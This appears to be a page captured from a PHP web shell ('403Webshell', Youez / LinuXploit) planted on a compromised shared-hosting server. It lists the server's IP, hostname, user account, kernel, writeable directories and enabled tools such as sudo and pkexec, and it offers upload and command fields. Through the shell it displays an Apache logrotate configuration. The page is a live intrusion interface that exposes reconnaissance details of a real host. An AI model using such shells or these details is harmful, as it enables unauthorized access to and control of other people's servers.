403Webshell
Server IP : 162.241.253.219  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux box5823.bluehost.com 5.14.0-687.25.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 13 11:40:33 EDT 2026 x86_64
User : aienetco ( 2034)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/etc/logrotate.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/etc/logrotate.d/apache_domlogs
/etc/apache2/logs/domlogs/_wildcard_ /etc/apache2/logs/domlogs/_wildcard_-ssl_log /etc/apache2/logs/domlogs/proxy-subdomains-vhost.localhost /etc/apache2/logs/domlogs/box5823.temp.domains /etc/apache2/logs/domlogs/localhost /etc/apache2/logs/domlogs/cpanel-box5823.bluehost.com-ssl_log {
    rotate 8
    missingok
    size 500M
    dateext
    compress
    delaycompress
    notifempty
    sharedscripts
    postrotate
      _bytes_logs=(/etc/apache2/logs/domlogs/box5823.temp.domains-bytes_log /etc/apache2/logs/domlogs/proxy-subdomains-vhost.localhost-bytes_log /etc/apache2/logs/domlogs/_wildcard_-bytes_log /etc/apache2/logs/domlogs/localhost-bytes_log /etc/apache2/logs/domlogs/cpanel-box5823.bluehost.com-bytes_log)
      for _bytes_log in ${_bytes_logs[@]}; do
        if [ -f ${_bytes_log} ]; then
	  > ${_bytes_log}
	fi
      done
      killall -HUP splitlogs
      _date_suffix=$(date +%Y%m%d)
        for i in $1; do
          _log=${i}-${_date_suffix}
          if [ -f ${_log} ]; then
	    gzip ${_log}
            mv ${_log}.gz /home/apachelogs/
          fi
        done
    endscript
}

/home/apachelogs/global_logs/access_logs {
    missingok
    notifempty
    compress
    rotate 7
    daily
    copytruncate
} 

Youez - 2016 - github.com/yon3zu
LinuXploit